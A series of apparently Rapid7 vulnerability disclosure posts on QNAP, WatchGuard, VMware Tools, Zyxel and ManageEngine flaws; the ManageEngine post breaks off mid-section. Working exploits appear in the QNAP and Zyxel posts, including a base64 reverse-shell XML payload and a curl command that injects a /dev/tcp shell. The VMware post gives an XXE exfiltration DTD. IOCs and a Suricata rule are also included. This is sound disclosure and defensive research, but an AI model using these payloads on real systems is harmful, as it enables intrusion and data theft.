Author: Jake Baines

Background

CVE-2020-2509 was added to CISA’s Known Exploited Vulnerabilities Catalog in April 2022, and it was listed as one of the “Additional Routinely Exploited Vulnerabilities in 2021” in CISA’s 2021 Top Routinely Exploited Vulnerabilities alert. However, CVE-2020-2509 has no public exploit, and no other organizations have publicly confirmed exploitation in the wild.

CVE-2020-2509 is allegedly an unauthenticated remote command injection vulnerability affecting QNAP Network Attached Storage (NAS) devices using the QTS operating system. The vulnerability was discovered by SAM and publicly disclosed on March 31, 2021. Two weeks later, QNAP issued a CVE and an advisory.

Neither organization provided a CVSS vector to describe the vulnerability. QNAP’s advisory doesn’t even indicate the vulnerable component. SAM’s disclosure says they found the vulnerability when they “fuzzed” the web server’s CGI scripts (which is not generally the way you discover command injection vulnerabilities, but I digress). SAM published a proof-of-concept video that allegedly demonstrates exploitation of the vulnerability, although it doesn’t appear to be a typical straightforward command injection. The recorded exploit downloads BusyBox to establish a reverse shell, and it appears to make multiple requests to accomplish this. That’s many more moving parts than a typical command injection exploit. Regardless, beyond affected versions, there are essentially no usable details for defender or attackers in either disclosure.

Given the ridiculous amount of internet-facing QNAP NAS (350,000+), seemingly endless ransomware attacks on the systems (Qlocker, Deadbolt, and Checkmate), and the mystery surrounding alleged exploitation in the wild of CVE-2020-2509, we decided to find out exactly what CVE-2020-2509 is. Instead, we found the below, which may be an entirely new vulnerability.

Poisoned XML command injection (CVE-2022-XXXX)

The video demonstrates exploitation of an unauthenticated and remote command injection vulnerability on a QNAP TS-230 running QTS 4.5.1.1480 (reportedly the last version affected by CVE-2020-2509). We were unable to obtain the first patched version, QTS 4.5.1.1495, but we were able to confirm this vulnerability was patched in QTS 4.5.1.1540. However, we don’t think this is CVE-2020-2509. The exploit in the video requires the attacker be a man-in-the-middle or have performed a DNS hijack of update.qnap.com. In the video, our lab network’s Mikrotik router has a malicious static DNS entry for update.qnap.com.

SAM and QNAP’s disclosures didn’t mention any type of man-in-the-middle or DNS hijacks. But neither disclosure ruled it out either. CVSS vectors are great for this sort of thing. If either organization had published a vector with an Attack Complexity of high, we’d know this “new” vulnerability is CVE-2020-2509. If they’d published a vector with Attack Complexity of low, we’d know this “new” vulnerability is not CVE-2020-2509. The lack of a vector leaves us unsure. Only CISA’s claim of widespread exploitation leads us to believe this is not is CVE-2020-2509. However, this “new” vulnerability is still a high-severity issue. It could reasonably be scored as CVSSv3 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). While the issue was patched 15 to 20 months ago (patches for CVE-2021-2509 were released in November 2020 and April 2021), there are still thousands of internet-facing QNAP devices that remain unpatched against this “new” issue. As such, we are going to describe the issue in more detail.

Exploitation and patch

The “new” vulnerability can be broken down into two parts:

A remote and unauthenticated attacker can force a QNAP device to make an HTTP request to update.qnap.com, without using SSL, in order to download an XML file. Content from the downloaded XML file is passed to a system call without any sanitization.

Both of these issues can be found in the QNAP’s web server cgi-bin executable authLogin.cgi, but the behavior is triggered by a request to /cgi-bin/qnapmsg.cgi. Below is decompiled code from authLogin.cgi that highlights the use of HTTP to fetch a file.

Using wget, the QNAP device will download a language-specific XML file such as http://update.qnap.com/loginad/qnapmsg_eng.xml, where eng can be a variety of different values (cze, dan, ger, spa, fre, ita, etc.). When the XML has been downloaded, the device then parses the XML file. When the parser encounters <img> tags, it will attempt to download the associated image using wget.

The <img> value is added to a wget command without any type of sanitization, which is a very obvious command injection issue.

The XML, if downloaded straight from QNAP, looks like the following (note that it appears to be part of an advertisement system built into the device):

<?xml version="1.0" encoding="utf-8"?>
<Root>
  <Messages>
    <Message>
      <img>http://update.qnap.com/loginad/image/1_eng.jpg</img>
      <link>http://www.qnap.com/en/index.php?lang=en&amp;sn=822&amp;c=351&amp;sc=513&amp;t=520&amp;n=18168</link>
    </Message>
    <Message>
      <img>http://update.qnap.com/loginad/image/4_eng.jpg</img>
      <link>http://www.qnap.com/en/index.php?lang=en&amp;sn=8685</link>
    </Message>
    <Message>
      <img>http://update.qnap.com/loginad/image/2_eng.jpg</img>
      <link>http://www.facebook.com/QNAPSys</link>
    </Message>
  </Messages>
</Root>

Because of the command injection issue, a malicious attacker can get a reverse shell by providing an XML file that looks like the following. The command injection is performed with backticks, and the actual payload (a bash reverse shell using /dev/tcp) is base64 encoded because / is a disallowed character.

​​<?xml version="1.0" encoding="utf-8"?>
<Root>
	<Messages>
		<Message>
			<img>/`echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh`</img>
			<link>http://www.qnap.com/></link>
		</Message>
	</Messages>
</Root>

An attacker can force a QNAP device to download the XML file by sending the device an HTTP request similar to http://device_ip/cgi-bin/qnapmsg.cgi?lang=eng. Here, again, eng can be replaced by a variety of languages.

Obviously, the number one challenge to exploit this issue is getting the HTTP requests for update.qnap.com routed to an attacker-controlled system.

Becoming a man-in-the-middle is not easy for a normal attacker. However, APT groups have consistently demonstrated that man-in-the-middle attacks are a part of normal operations. VPNFilter, FLYING PIG, and the Iranian Digator incident are all historical examples of APT attacking (or potentially attacking) via man-in-the-middle. An actor that has control of any router between the QNAP and update.qnap.com can inject the malicious XML we provided above. This, in turn, allows them to execute arbitrary code on the QNAP device.

The other major attack vector is via DNS hijacking. For this vulnerability, the most likely DNS hijack attacks that don’t require man-in-the-middling are router DNS hijack or third-party DNS server compromise. In the case of a router DNS hijack, the attacker exploits a router and instructs it to tell all connected devices to use a malicious DNS server or malicious static routes (similar to our lab setup). Third-party DNS server compromise is more interesting because of its ability to scale. Both Mandiant and Talos have observed this type of DNS hijack in the wild. When a third-party DNS server is compromised, an attacker is able to introduce malicious entries to the DNS server.

So, while there is some complexity to exploiting this issue, those complications are easily defeated by a moderately skilled attacker — which calls into question why QNAP didn’t issue an advisory and CVE for this issue. Presumably they knew about the vulnerability, because they made two changes to fix it. First, the insecure HTTP request for the XML was changed to a secure HTTPS request. That prevents all but the most advanced attackers from masquerading as update.qnap.com. Additionally, the image download logic was updated to use an execl wrapper called qnap_exec instead of system, which mitigates command injection issues.

Indicators of compromise

This attack does leave indicators of compromise (IOCs) on disk. A smart attacker will clean up these IOCs, but they may be worth checking for. The downloaded XML files are downloaded to /home/httpd/RSS/rssdoc/. The following is an example of the malicious XML from our proof-of-concept video:

[albinolobster@NAS4A32F3 rssdoc]$ ls -l
total 32
-rw-r--r-- 1 admin administrators     0 2022-07-27 19:57 gen_qnapmsg_eng.xml
drwxrwxrwx 2 admin administrators  4096 2022-07-26 18:39 image/
-rw-r--r-- 1 admin administrators     8 2022-07-27 19:57 last_uptime.qnapmsg_eng.xml
-rw-r--r-- 1 admin administrators   229 2022-07-27 19:57 qnapmsg_eng.xml
-rw-r--r-- 1 admin administrators 18651 2022-07-27 16:02 wget.log
[albinolobster@NAS4A32F3 rssdoc]$ cat qnapmsg_eng.xml 
<?xml version="1.0" encoding="utf-8"?>
<Root>
<Messages>
<Message><img>/`(echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh)&`</img><link>http://www.qnap.com/</link></Message></Messages></Root>

Similarly, an attack can leave an sh process hanging in the background. Search for malicious ones using ps | grep wget. If you see anything like the following, it’s a clear IOC:

[albinolobster@NAS4A32F3 rssdoc]$ ps | grep wget
10109 albinolo    476 S   grep wget
12555 admin      2492 S   sh -c /usr/bin/wget -t 1 -T 5 /`(echo -ne
'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |
sh)` -O /home/httpd/RSS/rssdoc/image/`(echo -ne
'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |
sh)`.tmp 1>>/dev/null 2>>/dev/null

Conclusion

Perhaps what we’ve described here is in part CVE-2020-2509, and that explains the lack of advisory from QNAP. Or maybe it’s one of the many other command injections that QNAP has assigned a CVE but failed to describe, and therefore denied users the chance to make informed choices about their security. It’s impossible to know because QNAP publishes almost no details about any of their vulnerabilities — a practice that might thwart some attackers, but certainly harms defenders trying to identify and monitor these attacks in the wild, as well as defenders who have to help clean up the myriad ransomware cases that are affecting QNAP devices.

SAM did not owe us a good disclosure (which is fortunate, because they didn’t give us one), but QNAP did. SAM was successful in ensuring the issue got fixed, and they held the vendor to a coordinated disclosure deadline (which QNAP consequently failed to meet). We should all be grateful to SAM: Even if their disclosure wasn’t necessarily what we wanted, we all benefited from their work. It’s QNAP that owes us, the customers and security industry, good disclosures. Vendors who are responsible for the security of their products are also responsible for informing the community of the seriousness of vulnerabilities that affect those products. When they fail to do this — for example by failing to provide advisories with basic descriptions, affected components, and industry-standard metrics like CVSS — they deny their current and future users full autonomy over the choices they make about risk to their networks. This makes us all less secure.

Disclosure timeline

• July, 2022: Researched and discovered by Jake Baines of Rapid7
• Thu, Jul 28, 2022: Disclosed to QNAP, seeking a CVE ID
• Sun, Jul 31, 2022: Automated response from vendor indicating they have moved to a new support ticket system and ticket should be filed with that system. Link to new ticketing system merely sends Rapid7 to QNAP’s home page.
• Tue, Aug 2, 2022: Rapid7 informs QNAP via email that their support link is broken and Rapid7 will publish this blog on August 4, 2022.
• Tue, Aug 2, 2022: QNAP responds directing Rapid7 to the advisory for CVE-2020-2509.
• Thu, Aug 4, 2022: This public disclosure

Additional reading:

• The Hidden Harm of Silent Patches
• Primary Arms PII Disclosure via IDOR (FIXED)
• CVE-2021-3779: Ruby-MySQL Gem Client File Read (FIXED)
• CVE-2022-31749: WatchGuard Authenticated Arbitrary File Read/Write (Fixed)
  

A remote and low-privileged WatchGuard Firebox or XTM user can read arbitrary system files when using the SSH interface due to an argument injection vulnerability affecting the diagnose command. Additionally, a remote and highly privileged user can write arbitrary system files when using the SSH interface due to an argument injection affecting the import pac command. Rapid7 reported these issues to WatchGuard, and the vulnerabilities were assigned CVE-2022-31749. On June 23, Watchguard published an advisory and released patches in Fireware OS 12.8.1, 12.5.10, and 12.1.4.

Background

WatchGuard Firebox and XTM appliances are firewall and VPN solutions ranging in form factor from tabletop, rack mounted, virtualized, and “rugged” ICS designs. The appliances share a common underlying operating system named Fireware OS.

At the time of writing, there are more than 25,000 WatchGuard appliances with their HTTP interface discoverable on Shodan. There are more than 9,000 WatchGuard appliances exposing their SSH interface.

In February 2022, GreyNoise and CISA published details of WatchGuard appliances vulnerable to CVE-2022-26318 being exploited in the wild. Rapid7 discovered CVE-2022-31749 while analyzing the WatchGuard XTM appliance for the writeup of CVE-2022-26318 on AttackerKB.

Credit

This issue was discovered by Jake Baines of Rapid7, and it is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Vulnerability details

CVE-2022-31749 is an argument injection into the ftpput and ftpget commands. The arguments are injected when the SSH CLI prompts the attacker for a username and password when using the diagnose or import pac commands. For example:

WG>diagnose to ftp://test/test
Name: username
Password: 

The “Name” and “Password” values are not sanitized before they are combined into the “ftpput” and “ftpget” commands and executed via librmisvc.so. Execution occurs using execle, so command injection isn’t possible, but argument injection is. Using this injection, an attacker can upload and download arbitrary files.

File writing turns out to be less useful than an attacker would hope. The problem, from an attacker point of view, is that WatchGuard has locked down much of the file system, and the user can only modify a few directories: /tmp/, /pending/, and /var/run. At the time of writing, we don’t see a way to escalate the file write into code execution, though we wouldn’t rule it out as a possibility.

The low-privileged user file read is interesting because WatchGuard has a built-in low-privileged user named status. This user is intended to “read-only” access to the system. In fact, historically speaking, the default password for this user was “readonly”. Using CVE-2022-31749 this low-privileged user can exfiltrate the configd-hash.xml file, which contains user password hashes when Firebox-DB is in use. Example:

<?xml version="1.0"?>
<users>
  <version>3</version>
  <user name="admin">
    <enabled>1</enabled>
    <hash>628427e87df42adc7e75d2dd5c14b170</hash>
    <domain>Firebox-DB</domain>
    <role>Device Administrator</role>
  </user>
  <user name="status">
    <enabled>1</enabled>
    <hash>dddbcb37e837fea2d4c321ca8105ec48</hash>
    <domain>Firebox-DB</domain>
    <role>Device Monitor</role>
  </user>
  <user name="wg-support">
    <enabled>0</enabled>
    <hash>dddbcb37e837fea2d4c321ca8105ec48</hash>
    <domain>Firebox-DB</domain>
    <role>Device Monitor</role>
  </user>
</users>

The hashes are just unsalted MD4 hashes. @funoverip wrote about cracking these weak hashes using Hashcat all the way back in 2013.

Exploitation

Rapid7 has published a proof of concept that exfiltrates the configd-hash.xml file via the diagnose command. The following video demonstrates its use against WatchGuard XTMv 12.1.3 Update 8.

Remediation

Apply the WatchGuard Fireware updates. If possible, remove internet access to the appliance's SSH interface. Out of an abundance of caution, changing passwords after updating is a good idea.

Vendor statement

WatchGuard thanks Rapid7 for their quick vulnerability report and willingness to work through a responsible disclosure process to protect our customers. We always appreciate working with external researchers to identify and resolve vulnerabilities in our products and we take all reports seriously. We have issued a resolution for this vulnerability, as well as several internally discovered issues, and advise our customers to upgrade their Firebox and XTM products as quickly as possible. Additionally, we recommend all administrators follow our published best practices for secure remote management access to their Firebox and XTM devices.

Disclosure timeline

March, 2022: Discovered by Jake Baines of Rapid7
Mar 29, 2022: Reported to Watchguard via support phone, issue assigned case number 01676704.
Mar 29, 2022: Watchguard acknowledged follow-up email.
April 20, 2022: Rapid7 followed up, asking for progress.
April 21, 2022: WatchGuard acknowledged again they were researching the issue.
May 26, 2022: Rapid7 checked in on status of the issue.
May 26, 2022: WatchGuard indicates patches should be released in June, and asks about CVE assignment.
May 26, 2022: Rapid7 assigns CVE-2022-31749
June 23, 2022: This disclosure

Additional reading:

• New Report Shows What Data Is Most at Risk to (and Prized by) Ransomware Attackers
• CVE-2022-32230: Windows SMB Denial-of-Service Vulnerability (FIXED)
• Defending Against Tomorrow's Threats: Insights From RSAC 2022
• The Hidden Harm of Silent Patches
  
  

A low-privileged local attacker can prevent the VMware Guest Authentication service (VGAuthService.exe) from running in a guest Windows environment and can crash this service, thus rendering the guest unstable. In some very contrived circumstances, the attacker can leak file content to which they do not have read access. We believe this would be scored as CVSSv3 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H or 6.1 and is an instance of CWE-73: External Control of File Name or Path.

Product description

The VMware Guest Authentication Service (VGAuthService.exe) is part of the VMware Tools suite of software used to provide integration services with other VMware services. It is commonly installed on Windows guest operating systems, though it appears that its only function is to mystify users when it fails.

Credit

This issue was discovered by Jake Baines of Rapid7. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Exploitation

The versions of VMware host and guest operating systems are:

• Host platform: MacOS Big Sur 11.6.1
• Host software: VMware Fusion Professional 12.2.1 (18811640)
• Virtualized platform: Windows 10.0.17763.1999 and Windows Server 2019
• Vulnerable software: VGAuthService.exe (VMware Guest Authentication Service) “File version: 11.3.5.59284”, “Product version 1.0.0. Build-18556986”

Once running, the VMware Guest Authentication Service (VGAuthService.exe) is a service running with NT AUTHORITY/SYSTEM permissions and attempts to read files from the non-existent directory C:\Program%20Files\VMware\VMware%20Tools\ during start-up.

A low-privileged user can create this directory structure and cause VGAuthService.exe to read attacker controlled files. The files that the attacker controls are “catalog”, “xmldsig-core-schema.xsd”, and “xenc-schema.xsd”. These files are used to define the XML structure used to communicate with VGAuthService.exe.

However, actually modifying the structure of these files seems to have limited effects on VGAuthService.exe. Below, we describe a denial of service (which could take a number of forms) and a file content leak via XML External Entity.

Impact

The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition, and there is a remote possibility of privileged file content exfiltration.

Denial of service

A low-privileged user can prevent the service from starting by providing a malformed catalog file. For example, creating the file C:\Program%20Files\VMware\VMware%20Tools\etc\catalog with the contents of:

<?xml version="1.0"?>
<!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd">
<catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog">
  <uri name="http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/xmldsig-core-schema.xsd" uri="xmldsig-core-schema.xsd"/>
  <uri name="http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/xenc-schema.xsd" uri="\\10.0.0.2\fdsa\xenc-schema.xsd"/>
</catalog>

Will simply prevent the service from ever running due to the malformed uri field. The VGAuthService log file in C:\ProgramData\VMware\VMware VGAuth\logfile.txt.0 will contain this line:

[2022-02-01T14:03:50.100Z] [ warning] [VGAuthService] XML Error: uri entry 'uri' broken ?: \\10.0.0.2\fdsa\xenc-schema.xsd

After the “malicious” file is created, the system must be rebooted (or the service restarted). Until this happens, some remote tooling for the VMware guest will not function properly.

File content exfiltration via XML external entity (XXE) attacks, and the limitations thereof

VGAuthService uses XML libraries (libxmlsec and libxml2) that have XML External Entity processing capabilities. Because the attacker controls various XML files parsed by the service, the attacker in theory can execute XXE injection and XXE out-of-band (OOB) attacks to leak files that a low-privileged user can’t read (e.g. C:\windows\win.ini).

It is true that these styles of attacks do work against VGAuthService.exe, but there is a severe limitation. Traditionally, an XXE OOB attack leaks the file of the attackers choosing via an HTTP or FTP uri. For example, “http://attackurl:80/endpoint?FILEDATA” where FILEDATA is the contents of the file. However, the XML library that VGAuthService.exe is using, libxml2, is very strict about properly formatted URI and any space character or newline will cause the exfiltration to fail. For example, let’s say we wanted to perform an XXE OOB attack and leak the contents of C:\Windows\win.ini. I’d create the following file at C:\Program%20Files\VMware\VMware%20Tools\etc\catalog

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.0.0.2/r7.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

And then we’d create the file r7.dtd on 10.0.0.2:

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.0.0.2/xxe?%data;'>">

And server the r7.dtd file via a python server on 10.0.0.2:

albinolobster@ubuntu:~/oob$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Once the attack is triggered, VGAuthService.exe will make quite a few HTTP requests to the attackers HTTP server:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -

But notice that none of those HTTP requests contain the contents of win.ini. To see why, let’s take a look at VGAuthService’s log file.

[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: parser 
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: error : 
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: Invalid URI: http:///10.0.0.2/xxe?; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Here, we can see the contents of win.ini have been appended to http://10.0.0.2/xxe? and that has caused the XML library to error out due to an invalid URI. So we can’t leak win.ini over the network, but we were able to write it to VGAuthService’s log. Unfortunately (or fortunately, for defenders), the log file is only readable by administrative users, so leaking the contents of win.ini to the log file is no good for an attack.

An attacker can leak a file as long as it can be used to form a valid URI. I can think of one very specific case where ManageEngine has a “user” saved to file as “0:verylongpassword” where this could work. But that’s super specific. Either way, we can recreate this like so:

C:\>echo|set /p="helloworld" > r7.txt

C:\>type r7.txt
helloworld
C:\>

We then do the same attack as above, but instead of <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> we do <!ENTITY % data SYSTEM "file:///c:/r7.txt">

After executing the attack, we’ll see this on our HTTP server:

10.0.0.88 - - [01/Feb/2022 07:25:05] "GET /xxe?helloworld HTTP/1.0" 404 -

While this is technically a low-privileged user leaking a file, it is quite contrived, and honestly an unlikely scenario.

Another common XXE attack is leaking NTLM hashes, but libxml2 doesn’t honor UNC paths so that isn’t a possibility. So, in conclusion, the low-privileged attacker can only deny access to the service and, very occasionally, leak privileged files.

Remediation

VMware administrators who expect low-privileged, untrusted users to interact directly with the guest operating system should apply the patch at their convenience to avoid the denial-of-service condition. As stated above, the likelihood of anyone exploiting this vulnerability to exfiltrate secrets from the guest operating system is quite low, but if those circumstances apply to your environment, more urgency in patching is warranted.

In the absence of a patch, VMware administrators can create the missing directory with write permissions limited to administrators, and this should mitigate the issue entirely.

Disclosure timeline

• February, 2022: Issue discovered by Jake Baines of Rapid7
• Thu, Feb 24, 2022: Initial disclosure to security@vmware.com
• Thu, Feb 24, 2022: Issue tracked as VSRC-10022.
• Wed, Mar 02, 2022: Vendor asks for an extension beyond original April disclosure date
• Mon, May 23, 2022: CVE-2022-22977 reserved by the vendor
• Tue, May 24, 2022: This disclosure, as well as the vendor's disclosure published

Additional reading:

• CVE-2022-30525 (FIXED): Zyxel Firewall Unauthenticated Remote Command Injection
• 2022 Cloud Misconfigurations Report: A Quick Look at the Latest Cloud Security Breaches and Attack Trends
• CVE-2022-28810: ManageEngine ADSelfService Plus Authenticated Command Execution (Fixed)
• CVE-2022-24527: Microsoft Connected Cache Local Privilege Escalation (Fixed)

Rapid7 discovered and reported a vulnerability that affects Zyxel firewalls supporting Zero Touch Provisioning (ZTP), which includes the ATP series, VPN series, and the USG FLEX series (including USG20-VPN and USG20W-VPN). The vulnerability, identified as CVE-2022-30525, allows an unauthenticated and remote attacker to achieve arbitrary code execution as the nobody user on the affected device.

The following table contains the affected models and firmware versions.

The VPN series, which also supports ZTP, is not vulnerable because it does not support the required functionality.

Product description

The affected firewalls are advertised for both small branch and corporate headquarter deployments. They offer VPN solutions, SSL inspection, web filtering, intrusion protection, and email security, and advertise up to 5 Gbps throughput through the firewall.

The affected models are relatively popular, with more than 15,000 visible on Shodan.

CVE-2022-30525: Unauthenticated remote command injection

The affected models are vulnerable to unauthenticated and remote command injection via the administrative HTTP interface. Commands are executed as the nobody user. This vulnerability is exploited through the /ztp/cgi-bin/handler URI and is the result of passing unsanitized attacker input into the os.system method in lib_wan_settings.py. The vulnerable functionality is invoked in association with the setWanPortSt command. An attacker can inject arbitrary commands into the mtu or the data parameter. Below is an example curl that will cause the firewall to execute ping 192.168.1.220:

curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler

On the firewall, the ps output looks like the following:

nobody   11040  0.0  0.2  21040  5152 ?        S    Apr10   0:00  \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
nobody   16052 56.4  0.6  18104 11224 ?        S    06:16   0:02  |   \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
nobody   16055  0.0  0.0   3568  1492 ?        S    06:16   0:00  |       \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1
nobody   16057  0.0  0.0   2152   564 ?        S    06:16   0:00  |           \_ ping 192.168.1.220

A reverse shell can be established using the normal bash GTFOBin. For example:

curl -v --insecure -X POST -H "Content-Type: application/json" -d '
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":
"1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/
192.168.1.220/1270 <&1;\";","data":"hi"}' https://192.168.1.1
/ztp/cgi-bin/handler

The resulting reverse shell can be used like so:

albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 192.168.1.1 37882
bash: cannot set terminal process group (11037): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
Bash-5.1

Metasploit module

A Metasploit module has been developed for these vulnerabilities. The module can be used to establish a nobody Meterpreter session. The following video demonstrates exploitation:

We’ve shared a PCAP that captures Metasploit’s exploitation of a Zyxel USG FLEX 100. The PCAP can be found attached to the module’s pull request. The Metasploit module injects commands in the mtu field, and as such, the following Suricata rule should flag its use:

alert http any any -> any any ( \
    msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \
    flow:to_server; \
    http.method; content:"POST"; \
    http.uri; content:"/ztp/cgi-bin/handler"; \
    http.request_body; content:"setWanPortSt"; \
    http.request_body; content:"mtu"; \
    http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i";
    classtype:misc-attack; \
    sid:221270;)

Credit

This issue was discovered by Jake Baines of Rapid7, and it is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Remediation

Apply the vendor patch as soon as possible. If possible, enable automatic firmware updates. Disable WAN access to the administrative web interface of the system.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2022-30525 with a remote vulnerability check.

Disclosure timeline

Astute readers will notice this timeline is a little atypical for Rapid7 disclosures. In accordance with our 60-day disclosure policy, we suggested a coordinated disclosure date in June. Instead, Zyxel released patches to address this issue on April 28, 2022. At that time, Zyxel did not publish an associated CVE or security advisory. On May 9, Rapid7 independently discovered Zyxel’s uncoordinated disclosure. The vendor then reserved CVE-2022-30525.

This patch release is tantamount to releasing details of the vulnerabilities, since attackers and researchers can trivially reverse the patch to learn precise exploitation details, while defenders rarely bother to do this. Therefore, we're releasing this disclosure early in order to assist defenders in detecting exploitation and to help them decide when to apply this fix in their own environments, according to their own risk tolerances. In other words, silent vulnerability patching tends to only help active attackers, and leaves defenders in the dark about the true risk of newly discovered issues.

April 2022 - Discovered by Jake Baines
April 13, 2022 - Rapid7 discloses to security@zyxel.com.tw. Proposed disclosure date June 21, 2022.
April 14, 2022 - Zyxel acknowledges receipt.
April 20, 2022 - Rapid7 asks for an update and shares delight over “Here is how to pronounce ZyXEL’s name”.
April 21, 2022 - Zyxel acknowledges reproduction of the vulnerabilities.
April 28, 2022 - Zyxel releases patches without coordination with vulnerability reporter.
April 29, 2022 - Zyxel indicates patch is likely to release before June 14, 2022.
May 9, 2022 - Rapid7 realizes Zyxel already issued patches. Rapid7 asks Zyxel for a response on the silent patches and indicates that our team will publicly disclose the week of May 9, 2022.
May 10, 2022 - Zyxel reserves CVE-2022-30525 and proposes a new disclosure schedule.
May 12, 2022 - This disclosure bulletin and Metasploit module published.

Additional reading:

• CVE-2022-28810: ManageEngine ADSelfService Plus Authenticated Command Execution (Fixed)
• CVE-2022-24527: Microsoft Connected Cache Local Privilege Escalation (Fixed)
• CVE-2022-1026: Kyocera Net View Address Book Exposure
• Analyzing the Attack Landscape: Rapid7’s 2021 Vulnerability Intelligence Report
  

On April 9, 2022, ManageEngine fixed CVE-2022-28810 with the release of ADSelfService Plus Build 6122. The vulnerability allowed the admin user to execute arbitrary operating system commands and potentially allowed partially authenticated Active Directory users to execute arbitrary operating system commands via the password reset functionality. Rapid7’s Managed Detection and Response (MDR) team has observed this custom scripts feature in ADSelfService Plus being abused in the wild by remote attackers with valid administrative credentials.

Credit

This vulnerability was discovered by Rapid7 researchers Jake Baines, Hernan Diaz, Andrew Iwamaye, and Dan Kelly.

Exploitation

The vulnerability arose from a feature that allowed the admin user to execute arbitrary operating system commands after a password reset or account lockout status update.

The example provided by the UI is cscript test.vbs %userName %password% where test.vbs is supposed to be a file stored in C:\ManageEngine\ADSelfService Plus\bin by a user with local access to the underlying operating system. But the reality is that any commands could be stored here. An attacker that acquired the admin user’s password (default: admin) could trivially achieve remote command execution this way.

For example, the attacker could use the script command “cmd.exe /c whoami,” and when a user resets their password, the command “whoami” is executed.

Rapid7 MDR has observed this technique being actively leveraged in customer environments — compromised (or default) admin credentials have been used to execute arbitrary OS commands in order to gain persistence on the underlying system and attempt to pivot further into the environment.

Furthermore, the “%password%” variable was passed to the configured script without sanitization. Depending on the configured script, an attacker that is able to trigger a password reset could inject arbitrary operating system commands. For example, if the admin user configured the following script:

